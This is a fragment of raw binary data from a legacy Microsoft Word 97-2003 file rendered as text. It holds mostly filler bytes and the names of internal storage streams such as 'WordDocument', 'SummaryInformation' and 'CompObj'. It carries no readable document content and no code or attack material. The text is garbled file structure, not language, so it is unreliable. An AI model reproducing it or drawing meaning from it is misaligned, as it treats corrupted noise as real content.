ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿR o o t E n t r y ÿÿÿÿÿÿÿÿ À F Á Æ[Ê < € D a t a ÿÿÿÿÿÿÿÿÿÿÿÿ e · 1 T a b l Ì ÿÿÿÿ W o r d D o c u m e n t ÿÿÿÿ r y I n f o r m a t i o n & y I n f o r m a t i o n 8 . C o m p O b j ÿÿÿÿÿÿÿÿÿÿÿÿ ¿ >l S u m m a ( ÿÿÿÿÿÿÿÿÿÿÿÿ D o c u m e n t S u m m a r ÿÿÿÿÿÿÿÿ y ÿÿÿÿÿÿÿÿÿÿÿÿ þÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ þÿ ÿÿÿÿ À F' Microsoft Office Word 97-2003 Document MSWordDoc Word.Document.8 ô9²q